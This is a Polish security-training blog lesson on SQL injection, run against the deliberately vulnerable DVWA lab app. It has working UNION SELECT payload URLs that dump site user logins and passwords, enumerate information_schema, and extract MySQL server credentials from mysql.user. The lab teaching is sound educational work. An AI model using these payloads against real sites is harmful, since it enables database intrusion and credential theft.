WEP lekcja #18 – SQL injection tutorial, UNION SELECT i phpMyAdmin w praktyce

Dzisiaj kontynuujemy temat ataków SQL Injection przechodząc do praktyki w skrypcie treningowym Damn Vulnerable Web Application. Dzisiaj poznasz klauzurę UNION SELECT umożliwiającą zebranie i złączenie wyników z kilku tabel bazy danych MySQL.

Mam nadzieje że wziąłeś sobie do serca poprzednią pracę domową i już co nieco o tej klauzurze wiesz. Najważniejsze jest zrozumienie faktu, że do jej użycia wymagana jest znajomość liczby kolumn w zapytaniu poprzedzającym (SELECT). W naszym filmie zademonstrujemy Tobie najprostszy sposób między innymi na poznanie liczby kolumn. Ostatecznie z dzisiejszego szkolenia dowiesz się jaki jest login i hasło administratora strony.

Wideo szkoleniowe o ataku SQL Injection

W dzisiejszym filmie zademonstruje Tobie działanie operatora UNION w połączeniu z klauzurą SELECT języka SQL w skrypcie phpMyAdmin.

Następnie przejdziemy już do całkowitej praktyki w skrypcie DVWA demonstrującej wykorzystanie ataku SQL Injection w celu pobrania danych dostępowych użytkownika witryny.

Dowiesz się w jaki prosty sposób wyliczyć liczbę kolumn. Ta wiedza jest niezbędna w celu wykorzystania operatora UNION SELECT. Poznasz również rozszerzenie HackBar do przeglądarki internetowej Mozilla Firefox ułatwiający zadawanie złośliwych zapytań SQL.

Uwaga! Niestety domyślna konfiguracja PHP w pakiecie XAMPP związana z obsługą baz danych nie zezwala w naszym przypadku na wykonanie kilku zapytań naraz takich jak np: DROP, UPDATE, DELETE lub INSERT. Miej na uwadze, że nie zawsze tak będzie.

Wstrzykiwanie zapytań SQL z pomocą UNION SELECT

Zapytanie z filmu objaśniające UNION SELECT wydane w skrypcie phpMyAdmin i aplikacji XAMPP:

SELECT user, last_login FROM users UNION SELECT user, password from users;

Ostateczne zbudowane metodą prób i błędów zapytanie SQL Injection, wyciągające z bazy danych loginy i hasła użytkowników:

http://192.168.0.10/vulnerabilities/sqli/?id=-1' union select concat(user, ":", password), 2 from users; -- &Submit=Submit#

Zwróć uwagę na funkcję wbudowaną w MySQL concat() umożliwiającą łączenie dowolnych ciągów znaków. Dzięki temu zapytaniu powinno udać Ci się uzyskać login i hasło wszystkich użytkowników witryny DVWA.

SQL Injection poradnik z union select i skryptem hakerskim Damn Vulnerable Web Application
Rezultat ataku SQL Injection z wykorzystaniem klauzury UNION SELECT.

Uwaga! Jeśli już co nieco nauczyłeś się języka zapytań SQL i funkcji wbudowanych w silnik MySQL, pewnie zwróciłeś już uwagę że budowa złośliwego zapytania i jego cel zależy tylko i wyłącznie od wiedzy i kreatywności hakera.

Praca domowa z SQL Injection

-> Zadanie 1

W skrypcie phpMyAdmin zapoznaj się z bazą danych MySQL o nazwie information_schema. Zwróć szczególną uwagę na tabelę:

  • COLUMNS,
  • TABLES,
  • USER_PRIVILEGES.

Zainteresuj się głównie nazwami kolumn i ich wartościami w tych tabelach i przemyśl co i do czego może Ci się przydać ta wiedzą. Spróbuj pobrać samodzielnie jakieś wartości z pomocą poznanego ataku SQL Injection.

UWAGA! Oczywiście zwróć również uwagę na wszystkie bazy danych byś pobieżnie wiedział czego możesz się spodziewać w tego typu silnikach bazodanowych.

-> Zadanie 2

W skrypcie DVWA za pomocą uzyskanych informacji z information_schema i tabeli COLUMNS i TABLES, spróbuj znaleźć „ciekawą” NAZWĘ TABELI w bazie danych o nazwie mysql.  W tej tabeli którą opisuje, zawarte są loginy i hasła użytkowników serwera. Spróbuj na początku nie pomagać sobie spojrzeniami w phpMyAdmina.

Jeśli już wiesz jak ta tabela się nazywa, spróbuj z niej pobrać login i hasło użytkowników serwera MySQL. Dla Twojej informacji to są Ci użytkownicy na których logujesz się w phpMyAdminie lub konsoli.

Hasło i login użytkownika root MysQL w phpMyAdmin.
Dowód na istnienie magicznej tabeli z użytkownikami MySQL. Ty staraj się wydobyć te informacje tylko ze skryptu DVWA za pomocą SQL Injection.

Uwaga! Nie wiem czy zwróciłeś na to uwagę w filmie, ale można w MySQL wykorzystywać adresowanie w postaci NAZWA_BAZYDANYCH.tabela. Przykład:

select * from dvwa.users;

Uwaga 2! W ostateczności ratuj się podglądaniem struktury w phpMyAdmin, jednak cała sztuka polega w przypadku silnika MySQL na wyciąganiu z bazy danych information_schema potrzebnych Tobie informacji i metodą prób i błędów ich wykorzystywanie.

Podpowiedź nr 1 do zadania nr 2 - jeśli nie dajesz rady to spójrz!
Ciekawa informacje o użytkownikach MySQL znajdują się w bazie danych o nazwie mysql w tabeli  USERS.
Podpowiedź nr 2 do zadania nr 2 - jeśli nie dajesz rady to spójrz!
W tabeli z pierwszej podpowiedzi mysql.users znajdują się ciekawe wartości w kolumnach User i Password.
Uwaga! Rozwiązanie 2. Nie psuj sobie zabawy!

Uwaga! Po wklejeniu złośliwego kodu SQL w pasek adresu znaki specjalne z procentami powinny zostać zamienione na spacje i stać się bardziej czytelnymi.

W pierwszym kroku sprawdzamy nazwy tabeli w naszej bazie danych:

http://192.168.0.10/vulnerabilities/sqli/?id=-1%27%20union%20select%20table_schema,%20table_name%20from%20information_schema.tables;%20--%20&Submit=Submit#

Jeden z wyników zwraca:

ID: -1′ union select table_schema, table_name from information_schema.tables; —
First name: mysql
Surname: user

Znasz już nazwę bazy danych mysql i tabele o interesującej nazwie, czyli users. Teraz pobierzmy nazwy kolumn z mysql.users (baza danych o nazwie mysql i tabela users).

http://192.168.0.10/vulnerabilities/sqli/?id=-1%27%20union%20select%20table_schema,%20column_name%20from%20information_schema.columns;%20--%20&Submit=Submit#

Pamiętasz WHERE? Czemu powyższego zapytania by nie zawęzić tylko do tabeli mysql?

http://192.168.0.10/vulnerabilities/sqli/?id=-1' union select table_schema, column_name from information_schema.columns where information_schema.columns.table_schema='mysql'; -- &Submit=Submit#

Znamy już nazwy kolumn tabeli mysql.users. Są to (fragment wyniku):

ID: -1′ union select table_schema, column_name from information_schema.columns where information_schema.columns.table_schema=’mysql’; —
First name: mysql
Surname: User

ID: -1′ union select table_schema, column_name from information_schema.columns where information_schema.columns.table_schema=’mysql’; —
First name: mysql
Surname: Password

Ostateczny potencjalny atak hakera z wykorzystaniem SQL Injection:

http://192.168.0.10/vulnerabilities/sqli/?id=-1%27%20union%20select%20User,%20Password%20from%20mysql.user;%20--%20&Submit=Submit#

Wynik powyższego ataku:

[caption id="" align="aligncenter" width="509"]Atak hakerski na MySQL za pomocą wstrzykiwania kodu SQL Przejęte nazwy użytkowników i hasła do serwera MySQL z pomocą SQL Injection w skrypcie DVWA.[/caption]

Uwaga! Pamiętaj, że prawdziwy cyberprzestępca bez problemu pobierze sobie przykładowy serwer HTTP, silnik bazodanowy MySQL i skrypt CMS w celu przetestowania jego działania u siebie na sucho. Wtedy bez problemu wiele informacji wyciągnie za pomocą samej myszy komputerowej z lokalnego phpMyAdmina.

Podsumowanie o atakach na bazy danych

Jak widzisz atak SQL Injection przy znajomości języka SQL jest dosyć prosty w przeprowadzeniu. Udało nam się pobrać za pomocą dziurawej aplikacji internetowej Damn Vulnerable Web Application nie tylko loginy i hasła użytkowników witryny sieciowej, ale i dane dostępowe do serwera MySQL (patrz praca domowa).

Tego typu ataki zdarzają się niezwykle często i nadal wiele zaktualizowanych systemów CMS, motywów graficznych i pluginów posiada tego typu luki. W kolejnych lekcjach zajmiemy się ślepym atakiem SQL a w ostatniej lekcji oczywiście czeka na Ciebie aplikacja bomba automatyzująca cały proces tego typu ataków. Chcesz być na bieżąco to zlajkuj naszego fejsa #HakerEduPL. Powodzenia w pracy domowej! 😉

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *